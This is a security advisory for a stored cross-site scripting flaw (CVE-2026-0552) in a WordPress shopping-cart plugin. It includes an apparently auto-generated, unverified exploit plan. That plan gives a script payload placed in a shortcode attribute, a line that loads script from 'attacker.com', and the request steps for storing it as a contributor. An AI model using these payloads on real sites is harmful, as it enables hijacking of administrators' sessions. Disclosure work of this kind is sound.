CVE-2026-0552

Simple Shopping Cart <= 5.2.4 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'wpsc_display_product' Shortcode

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
5.2.5
Patched in
1d
Time to patch

Description

The Simple Shopping Cart plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'wpsc_display_product' shortcode in all versions up to, and including, 5.2.4 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=5.2.4
PublishedApril 3, 2026
Last updatedApril 4, 2026

What Changed in the Fix

Changes introduced in v5.2.5

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

This research plan outlines the steps to exploit a Stored Cross-Site Scripting (XSS) vulnerability in the Simple Shopping Cart plugin (<= 5.2.4) via the `wpsc_display_product` shortcode. ### 1. Vulnerability Summary The `Simple Shopping Cart` plugin registers the `[wpsc_display_product]` shortcode …

Show full research plan

This research plan outlines the steps to exploit a Stored Cross-Site Scripting (XSS) vulnerability in the Simple Shopping Cart plugin (<= 5.2.4) via the wpsc_display_product shortcode.

1. Vulnerability Summary

The Simple Shopping Cart plugin registers the [wpsc_display_product] shortcode (and its alias [wp_cart_display_product]) to render product display boxes. The handler function wpsc_cart_display_product_handler fails to sanitize or escape the description attribute before echoing it into the page. An attacker with Contributor level permissions or higher can create a post containing this shortcode and inject malicious JavaScript into the description attribute, which executes when any user views the post.

2. Attack Vector Analysis

  • Shortcode: [wpsc_display_product]
  • Vulnerable Attribute: description
  • Authentication Required: Authenticated (Contributor level or higher).
  • Endpoint: WordPress Post Editor (to store the payload) and the Post View/Preview page (to trigger execution).
  • Payload Location: The attribute value is stored in the post_content field of the wp_posts table.

3. Code Flow

  1. Entry Point: The plugin registers shortcodes in wp_shopping_cart_shortcodes.php via wpsc_register_shortcodes().
  2. Shortcode Registration: add_shortcode('wpsc_display_product', 'wpsc_cart_display_product_handler' );
  3. Attribute Extraction: In wpsc_cart_display_product_handler($atts), the attributes are extracted using shortcode_atts().
  4. The Sink (Vulnerable Point):
    // File: wp_shopping_cart_shortcodes.php
    // Function: wpsc_cart_display_product_handler
    
    // ... extracts attributes into variables including $description ...
    
    <div class="wp_cart_product_description">
        <?php echo $description ?>
    </div>
    
    The variable $description is echoed directly without calling esc_html(), wp_kses(), or any other sanitization function.

4. Nonce Acquisition Strategy

This vulnerability involves a shortcode rendered during standard post display. No specific plugin-side AJAX nonce is required for the execution of the XSS. However, a WordPress core nonce is required to save the post as a Contributor.

  1. Login: Authenticate as a Contributor.
  2. Navigate to Editor: Use browser_navigate to go to wp-admin/post-new.php.
  3. Extract Nonce: Use browser_eval to extract the _wpnonce from the form field name="_wpnonce".
    • JS: document.querySelector('input[name="_wpnonce"]').value
  4. Post Creation: Submit the post containing the malicious shortcode using the http_request tool.

5. Exploitation Strategy

The goal is to store a payload that executes in the context of an administrator viewing the post.

  • Payload: [wpsc_display_product name="Attack Product" price="1" description="<script>alert(document.domain)</script>"]
  • Step-by-Step:
    1. Log in to the WordPress site as a user with the contributor role.
    2. Obtain a valid _wpnonce for creating a post (as described in section 4).
    3. Send a POST request to wp-admin/post.php to create a new draft post:
      • URL: https://<target>/wp-admin/post.php
      • Content-Type: application/x-www-form-urlencoded
      • Body:
        _wpnonce=<NONCE>&action=editpost&post_ID=<NEW_ID>&post_title=XSS_PoC&content=[wpsc_display_product name="Attack" price="1" description="<script src='https://attacker.com/payload.js'></script>"]&post_status=draft
        
        (Note: A simple <script>alert(1)</script> is sufficient for a PoC).
    4. Retrieve the URL of the created post (or its preview link).
    5. As an administrator, navigate to that post URL.
    6. Observe the JavaScript execution.

6. Test Data Setup

  1. User: Create a user with username contributor_user and role contributor.
  2. Plugin State: Ensure the "Simple Shopping Cart" plugin is active.
  3. Settings: No specific plugin settings are required to trigger the shortcode rendering.

7. Expected Results

  • The shortcode should render a product display box.
  • Inside the <div class="wp_cart_product_description">, the raw script tag should be present.
  • The browser should execute the JavaScript, resulting in an alert or external network request.

8. Verification Steps

  1. Verify Storage: Use WP-CLI to check the post content:
    wp post get <POST_ID> --field=post_content
  2. Verify Unescaped Output: Perform an unauthenticated (or admin) HTTP request to the post URL and check for the raw payload:
    curl -s https://<target>/post-url/ | grep "wp_cart_product_description"
  3. Database Check: Confirm the string is stored in the database without entities:
    wp db query "SELECT post_content FROM wp_posts WHERE ID = <POST_ID>"

9. Alternative Approaches

  • Attribute Breakout: If the name or price attributes were slightly better sanitized but still allowed attribute injection, we could try breaking out of attributes like alt or value. However, description is a direct echo sink, making it the highest-priority target.
  • Thumbnail XSS: If the description was patched, the thumbnail attribute uses esc_url_raw. While generally safe, if the plugin uses it in a context other than src (like an onmouseover), it could be exploited. In the current source, it is correctly used in src.
  • Shortcode Aliases: Test both [wpsc_display_product] and [wp_cart_display_product] as they share the same handler.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.